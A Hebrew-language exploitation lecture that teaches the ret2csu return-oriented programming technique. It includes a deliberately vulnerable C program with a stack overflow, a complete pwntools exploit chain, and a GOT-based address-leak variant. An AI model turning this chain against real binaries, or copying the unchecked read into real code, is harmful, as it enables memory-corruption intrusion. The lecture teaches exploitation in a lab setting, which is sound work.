לדלג לתוכן

6.2 ret2csu הרצאה

בפרק הזה אנחנו מעמיקים ב-ROP ומתמודדים עם מצבים שבהם הבינארי לא נותן לנו את מה שאנחנו צריכים "על מגש". בשיעור הקודם על stack pivoting ראינו מה עושים כשאין מספיק מקום למחסנית מזויפת. עכשיו ניגע בבעיה אחרת ומאוד נפוצה: אנחנו רוצים לקרוא לפונקציה עם שלושה ארגומנטים ב-64 ביט, אבל בבינארי הקטן אין גאדג'ט pop rsi ואין pop rdx. במקום להתייאש, נשתמש בטריק אלגנטי שנקרא ret2csu, שמנצל שתי חתיכות קוד שהמהדר משאיר כמעט בכל בינארי קלאסי - בתוך הפונקציה __libc_csu_init. עם שתי החתיכות האלה נשתלט על rdi, rsi ו-rdx בבת אחת, ואפילו נקרא לפונקציה שרירותית.

הבעיה - כשחסרים גאדג'טים לאוגרים

נזכיר את קונבנציית הקריאה של System V ב-64 ביט: שלושת הארגומנטים הראשונים עוברים ב-rdi, rsi, rdx. כדי לקרוא ל-func(a, b, c) דרך ROP, אנחנו צריכים גאדג'ט שיטען כל אחד מהאוגרים האלה. הגאדג'ט pop rdi ; ret כמעט תמיד קיים, כי מהדרים משתמשים בו הרבה. pop rsi כבר פחות נפוץ, ולרוב מגיע כ-pop rsi ; pop r15 ; ret. אבל pop rdx ; ret הוא נדיר מאוד בבינארים קטנים - פשוט אין קוד שדורש שליפה של rdx מהמחסנית.

בואו נראה את זה בפועל. נניח שיש לנו בינארי לא-PIE, בלי canary, עם NX פעיל, ואנחנו רוצים לקרוא ל-write(1, buf, len) או לפונקציה כלשהי שדורשת ערך מדויק ב-rdx:

$ ROPgadget --binary ./demo | grep 'pop rdi ; ret'
0x0000000000401293 : pop rdi ; ret

$ ROPgadget --binary ./demo | grep 'pop rsi'
0x0000000000401291 : pop rsi ; pop r15 ; ret

$ ROPgadget --binary ./demo | grep 'pop rdx ; ret'
$

אין פלט לשורה האחרונה. אין pop rdx. בלי rdx לא נוכל לקבוע את הארגומנט השלישי, ולכן לא נוכל לקרוא כמו שצריך ל-write, ל-read, ל-execve ולעוד המון פונקציות שימושיות. כאן נכנס ret2csu.

הפונקציה __libc_csu_init - מאגר גאדג'טים אוניברסלי

כל בינארי C קלאסי שקומפל בקישור רגיל מכיל פונקציית אתחול בשם __libc_csu_init. את הפונקציה הזו קורא __libc_start_main עוד לפני main, והתפקיד שלה הוא להריץ את כל ה-constructors שרשומים ב-.init_array. בשביל להריץ מערך של מצביעי פונקציות עם שלושה ארגומנטים, המהדר בנה בתוכה בדיוק את הקוד שאנחנו צריכים: קוד שטוען אוגרים מהמחסנית וקורא לפונקציה דרך מצביע. זה מתנה אמיתית לתוקף.

בואו נפרק את הפונקציה. נריץ objdump ונסתכל על הסוף שלה:

$ objdump -d ./demo | grep -A24 '<__libc_csu_init>:'

הפלט הרלוונטי (הכתובות אצלכם יהיו שונות, אל תעתיקו עיוור):

00000000004011c0 <__libc_csu_init>:
  ...
  4011da:  mov    rdx, r15
  4011dd:  mov    rsi, r14
  4011e0:  mov    edi, r13d
  4011e3:  call   QWORD PTR [r12+rbx*8]
  4011e7:  add    rbx, 0x1
  4011eb:  cmp    rbp, rbx
  4011ee:  jne    4011da <__libc_csu_init+0x1a>
  4011f0:  add    rsp, 0x8
  4011f4:  pop    rbx
  4011f5:  pop    rbp
  4011f6:  pop    r12
  4011f8:  pop    r13
  4011fa:  pop    r14
  4011fc:  pop    r15
  4011fe:  ret

בתוך הקטע הקצר הזה מסתתרים שני גאדג'טים שביחד נותנים לנו שליטה מלאה. נסמן אותם:

  • גאדג'ט ה-pop בכתובת 0x4011f4: רצף של שש הוראות pop שטוענות את rbx, rbp, r12, r13, r14, r15 מהמחסנית, ואז ret.
  • גאדג'ט ה-mov/call בכתובת 0x4011da: מעביר r15 ל-rdx, את r14 ל-rsi, את r13d ל-edi, ואז קורא ל-[r12+rbx*8].

שני הגאדג'טים - pop ו-mov/call

גאדג'ט ראשון - טעינת אוגרי הביניים - pop

הגאדג'ט הזה הוא הבסיס. הוא לא טוען את rdi/rsi/rdx ישירות, אלא אוגרים "מתווכים":

pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

עם הגאדג'ט הזה אנחנו שולטים בשישה אוגרים בבת אחת. שלושה מהם (r13, r14, r15) יהפכו לארגומנטים, ושלושה (rbx, rbp, r12) ישלטו במנגנון הקריאה עצמו. תכף נראה בדיוק אילו ערכים לשים.

גאדג'ט שני - העברה לאוגרי הארגומנטים וקריאה - mov/call

mov rdx, r15         ; the third argument
mov rsi, r14         ; the second argument
mov edi, r13d        ; the first argument (only the lower 32 bits!)
call QWORD PTR [r12+rbx*8]

זה הלב של הטריק. הוא לוקח את שלושת האוגרים שטענו בגאדג'ט הראשון ומעביר אותם למקומות הנכונים לפי קונבנציית הקריאה, ואז מבצע קריאה עקיפה דרך זיכרון: הוא קורא מצביע פונקציה מהכתובת r12+rbx*8 וקופץ אליו. שימו לב שהקריאה היא דרך [r12+rbx*8], כלומר r12 צריך להצביע על תא בזיכרון שמכיל את כתובת הפונקציה, ולא על הפונקציה עצמה. זו נקודה קריטית שנחזור אליה.

הרכבת הקריאה - איך משרשרים

עכשיו נחבר את שני הגאדג'טים לchain אחת שקוראת ל-func(arg1, arg2, arg3). הרעיון:

  1. קופצים לגאדג'ט ה-pop, וטוענים ממנו את ששת האוגרים.
  2. קופצים לגאדג'ט ה-mov/call, שמעביר ל-rdi/rsi/rdx וקורא לפונקציה.

מה שמים בכל אוגר:

  • rbx = 0 - כדי שהקריאה תהיה call [r12+0], כלומר call [r12].
  • rbp = 1 - זו הנקודה העדינה ביותר. אחרי הקריאה מגיע add rbx, 1 ואז cmp rbp, rbx ; jne. אם נשים rbp = 1, אז אחרי ההגדלה rbx יהיה 1, ההשוואה cmp 1, 1 תצא שווה, ה-jne לא יילקח, והזרימה תמשיך ליציאה המסודרת של הפונקציה. אם נשים rbp = 0, ה-jne כן יילקח, נחזור ללולאה, ונקרא ל-[r12+8] עם זבל - קריסה.
  • r12 = &func_ptr - כתובת של תא זיכרון שמכיל את הכתובת של הפונקציה שנרצה לקרוא לה.
  • r13 = arg1 - יגיע ל-edi (רק 32 ביט תחתונים).
  • r14 = arg2 - יגיע ל-rsi.
  • r15 = arg3 - יגיע ל-rdx.

עכשיו, מה קורה אחרי הקריאה? הפונקציה שקראנו לה רצה, מסיימת, ומבצעת ret שמחזיר אותנו לתוך __libc_csu_init בדיוק אחרי ה-call, בכתובת של add rbx, 1. משם rbp == rbx אז לא נכנסים שוב ללולאה, ומגיעים לאפילוג: add rsp, 0x8 (מדלג על 8 בתים), ואז שש הוראות pop (48 בתים), ואז ret. כלומר, אחרי כתובת גאדג'ט ה-mov/call בchain שלנו צריך למקם שבעה סלוטים של padding (סלוט אחד ל-add rsp, 8 ועוד שישה לשישה ה-pop), ורק אחריהם את היעד הבא בchain.

הנה מפת המחסנית המזויפת המלאה:

low addresses (top of stack)
+------------------------------+
| padding up to the offset     |  <-- fills the buffer and saved rbp
+------------------------------+
| pop gadget address           |  <-- the ret of the vulnerable function jumps here
+------------------------------+
| rbx = 0                      |
+------------------------------+
| rbp = 1                      |
+------------------------------+
| r12 = &func_ptr              |  <-- call [r12] will call through this cell
+------------------------------+
| r13 = arg1  (-> edi)         |
+------------------------------+
| r14 = arg2  (-> rsi)         |
+------------------------------+
| r15 = arg3  (-> rdx)         |
+------------------------------+
| mov/call gadget address      |  <-- the ret of the pop gadget jumps here
+------------------------------+
| padding (add rsp, 8)         |  <-- slot 1
+------------------------------+
| padding (pop rbx)            |  <-- slot 2
+------------------------------+
| padding (pop rbp)            |  <-- slot 3
+------------------------------+
| padding (pop r12)            |  <-- slot 4
+------------------------------+
| padding (pop r13)            |  <-- slot 5
+------------------------------+
| padding (pop r14)            |  <-- slot 6
+------------------------------+
| padding (pop r15)            |  <-- slot 7
+------------------------------+
| final target address         |  <-- the last ret jumps here (e.g. exit)
+------------------------------+
high addresses

מגבלת 32 הביט של rdi - mov edi, r13d

שימו לב טוב להוראה mov edi, r13d. היא מעבירה רק את 32 הביטים התחתונים של r13, ותוך כדי היא מאפסת את 32 הביטים העליונים של rdi. המשמעות: דרך ret2csu אנחנו יכולים לשלוט רק ב-32 הביטים התחתונים של הארגומנט הראשון. עבור ערכים כמו מספר תיאור קובץ (fd = 1), דגלים קטנים או מספרים - זה מספיק בהחלט. אבל אם הארגומנט הראשון חייב להיות מצביע מלא של 64 ביט (למשל execve("/bin/sh", ...) כשהכתובת של המחרוזת גבוהה מ-0xffffffff), זו בעיה. הפתרון המקובל: להשתמש ב-ret2csu כדי לקבוע את rsi ו-rdx (שמגיעים ב-mov מלא של 64 ביט), ואז להוסיף גאדג'ט רגיל pop rdi ; ret שיקבע את rdi המלא לפני הקריאה לפונקציה עצמה. ככה מנצלים את ret2csu בעיקר בשביל rsi ו-rdx שחסרים, ומשאירים את rdi לגאדג'ט הפשוט שכמעט תמיד קיים.

דוגמה מלאה - קריאה לפונקציה עם שלושה ארגומנטים

נבנה בינארי דוגמה שיש בו פונקציה print_flag הדורשת שלושה ערכי קסם, ומצביע גלובלי שמצביע עליה (כדי שיהיה לנו תא זיכרון שמכיל את כתובתה, בשביל call [r12]):

// demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void print_flag(unsigned int a, unsigned long b, unsigned long c) {
    if (a == 0xdeadbeef && b == 0xcafebabecafebabe && c == 0x1337133713371337) {
        puts("FLAG{ret2csu_three_args_pwned}");
    } else {
        puts("nope");
    }
}

// global pointer -> memory cell at a known address holding the address of print_flag
void (*g_target)(unsigned int, unsigned long, unsigned long) = print_flag;

void vuln(void) {
    char buf[64];
    puts("send bytes:");
    read(0, buf, 400);   // classic overflow
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

נקמפל בלי canary ובלי PIE כדי לבודד את הטכניקה, ונוודא שבאמת נשארה __libc_csu_init בבינארי:

gcc -fno-stack-protector -no-pie -o demo demo.c

הנחות ההגנה שלנו: NX פעיל (לא מריצים shellcode), אין canary (הoverflow עוברת), אין PIE (כתובות print_flag, g_target והגאדג'טים קבועות). ret2csu עצמו לא תלוי ב-ASLR של libc, כי כל מה שאנחנו צריכים נמצא בבינארי עצמו.

בדיקת הגנות:

$ checksec --file=./demo
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

מציאת שני הגאדג'טים והכתובות הרלוונטיות:

# two csu gadgets from __libc_csu_init
$ objdump -d ./demo | grep -A24 '<__libc_csu_init>:'
#  ... identify the address of "mov rdx, r15" and the address of "pop rbx"

# the address of the cell that holds the function pointer
$ objdump -t ./demo | grep g_target
0000000000404050 g     O .data  0000000000000008 g_target

וה-exploit המלא ב-pwntools, בבנייה ידנית של הchain:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./demo')

# two __libc_csu_init gadgets - pull the addresses from your own binary
csu_pop  = 0x4011f4   # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
csu_call = 0x4011da   # mov rdx,r15 ; mov rsi,r14 ; mov edi,r13d ; call [r12+rbx*8]

g_target = elf.symbols['g_target']   # &(pointer to print_flag)
exit_fn  = elf.symbols['exit']       # clean exit target after the function returns

offset = 72   # confirm with cyclic

payload = flat({offset: [
    csu_pop,
    0,                       # rbx = 0   -> call [r12+0]
    1,                       # rbp = 1   -> don't loop back
    g_target,                # r12 = &func_ptr
    0xdeadbeef,              # r13 -> edi  (arg1, 32 bits)
    0xcafebabecafebabe,      # r14 -> rsi  (arg2)
    0x1337133713371337,      # r15 -> rdx  (arg3)
    csu_call,
    0, 0, 0, 0, 0, 0, 0,     # seven padding slots (add rsp,8 + six pop)
    exit_fn,                 # the final ret
]])

p = process('./demo')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())

הרצה:

[+] Starting local process './demo': pid 12345
FLAG{ret2csu_three_args_pwned}

הזרימה, צעד אחר צעד: ה-ret של vuln קופץ ל-csu_pop, ששולף rbx=0, rbp=1, r12=&g_target, r13=0xdeadbeef, r14=0xcafe..., r15=0x1337.... ה-ret של גאדג'ט ה-pop קופץ ל-csu_call, שמעביר rdx=r15, rsi=r14, edi=r13d, וקורא ל-[g_target] שזה print_flag. שלושת הערכים תואמים, הדגל מודפס, print_flag חוזרת, ה-add rsp,8 וששת ה-pop אוכלים את הpadding, וה-ret האחרון קופץ ל-exit.

וריאציה - קריאה לפונקציית libc דרך ה-GOT

מה אם היעד הוא פונקציית libc, למשל write(1, addr, len), ולא פונקציה מקומית? אז אנחנו לא צריכים מצביע גלובלי משלנו - יש כבר תא מוכן: ה-GOT. הכניסה של פונקציה בטבלת ה-GOT מכילה את הכתובת המפוענחת של אותה פונקציה ב-libc. אז אם נכוון את r12 על write@got, אז call [r12] יקרא בדיוק ל-write:

# r12 = elf.got['write']   -> call [write@got] == call write
payload = flat({offset: [
    csu_pop,
    0, 1,
    elf.got['write'],       # r12 = &write@got
    1,                      # r13 -> edi = fd = 1
    elf.symbols['flag'],    # r14 -> rsi = source address
    64,                     # r15 -> rdx = byte count
    csu_call,
    0, 0, 0, 0, 0, 0, 0,
    elf.symbols['main'],    # go back to main to overflow again if needed
]])

זה בדיוק הדפוס שמשתמשים בו כדי לדלוף כתובות (write(1, got_entry, 8) מדליף כתובת libc) לפני מעבר ל-ret2libc. שימו לב ש-fd = 1 הוא ערך קטן שנכנס יפה ב-32 הביטים של edi.

מלכודות נפוצות

  • שוכחים rbp = 1: אם rbp לא שווה ל-rbx+1 אחרי הקריאה, נכנסים שוב ללולאה וקוראים ל-[r12+8] עם זבל. תמיד rbx=0, rbp=1.
  • מבלבלים בין r12 לפונקציה: r12 הוא כתובת של תא שמכיל את מצביע הפונקציה, לא הפונקציה עצמה. אם תשימו את הכתובת של print_flag ישר ב-r12, ה-call [r12] יקרא לזבל שנמצא בבתים של קוד print_flag.
  • הpadding אחרי גאדג'ט ה-call: קל לספור לא נכון. זכרו: add rsp, 8 (סלוט אחד) ועוד שישה pop (שישה סלוטים) = שבעה סלוטי padding לפני היעד הסופי.
  • מגבלת ה-32 ביט של rdi: אם הארגומנט הראשון הוא כתובת מלאה של 64 ביט, ret2csu לבד לא יספיק - שלבו גם pop rdi ; ret.
  • הalignment של המחסנית ל-movaps: אם הפונקציה שאתם קוראים לה היא system/printf "כבדה", ייתכן שתיתקלו בקריסת movaps מבעיית alignment, בדיוק כמו שראינו ב-2.3. אם קורס בתוך libc, נסו להוסיף גאדג'ט ret בודד לalignment.

מתי ret2csu לא זמין - בינארים חדשים

הטריק הזה מסתמך על קיומה של __libc_csu_init. בגרסאות חדשות של glibc (החל מ-glibc 2.34, בערך משנת 2021) שינו את __libc_start_main כך שהוא כבר לא מקבל מצביעי init/fini, והמהדר הפסיק לפלוט את __libc_csu_init ואת __libc_csu_fini. כלומר, בבינארי שקומפל על מערכת מודרנית, קרוב לוודאי לא תמצאו את הפונקציה הזו ולא את הגאדג'טים שלה. בדיקה מהירה:

$ objdump -d ./demo | grep '__libc_csu_init'
# if there is no output - these gadgets don't exist in this binary

מה עושים אז? יש כמה חלופות, שחלקן נלמד בהמשך הפרק:

  • חיפוש גאדג'טים שקולים אחרים בבינארי: לפעמים יש קטעי קוד אחרים שטוענים rdx או שמבצעים call עקיף. שווה להריץ ROPgadget --binary ./x | grep 'mov rdx' ולראות מה יש.
  • גאדג'טים מתוך libc: אם יש לכם leak של כתובת libc, מרחב הגאדג'טים העצום של libc כמעט תמיד יכיל pop rdx ; ret או שקול לו. הכלי one_gadget ./libc.so.6 אף מוצא כתובת יחידה שפותחת shell בלי לדאוג בכלל לארגומנטים.
  • טכניקת SROP (השיעור הבא, 6.3): בעזרת חתימה מזויפת של signal frame קובעים את כל האוגרים בבת אחת, כולל rdx - חלופה מצוינת כשאין גאדג'טים.
  • טכניקת ret2dlresolve (6.4): מכריחים את ה-dynamic linker לפענח ולקרוא לפונקציה עבורנו, בלי צורך בleak או בגאדג'טים לאוגרים.

סיכום

  • כשחסרים גאדג'טים כמו pop rsi ו-pop rdx, ret2csu מנצל שני גאדג'טים מתוך __libc_csu_init כדי לשלוט ב-rdi, rsi, rdx ולקרוא לפונקציה שרירותית.
  • הגאדג'ט הראשון (pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret) טוען את אוגרי הביניים.
  • הגאדג'ט השני (mov rdx,r15 ; mov rsi,r14 ; mov edi,r13d ; call [r12+rbx*8]) מעביר לאוגרי הארגומנטים וקורא לפונקציה דרך מצביע.
  • הערכים הקבועים: rbx=0 ו-rbp=1 כדי שהקריאה תהיה call [r12] ולא נחזור ללולאה. r12 הוא כתובת של תא שמכיל את מצביע הפונקציה (מצביע גלובלי או כניסת GOT).
  • mov edi, r13d מגביל את הארגומנט הראשון ל-32 ביט. לכתובת מלאה של 64 ביט משלבים pop rdi ; ret.
  • אחרי גאדג'ט ה-call צריך שבעה סלוטי padding (סלוט ל-add rsp,8 ושישה ל-pop) ואז היעד הסופי.
  • בבינארים חדשים (glibc 2.34 ומעלה) __libc_csu_init נעלמה. החלופות: גאדג'טים מ-libc, one_gadget, SROP (6.3), ו-ret2dlresolve (6.4).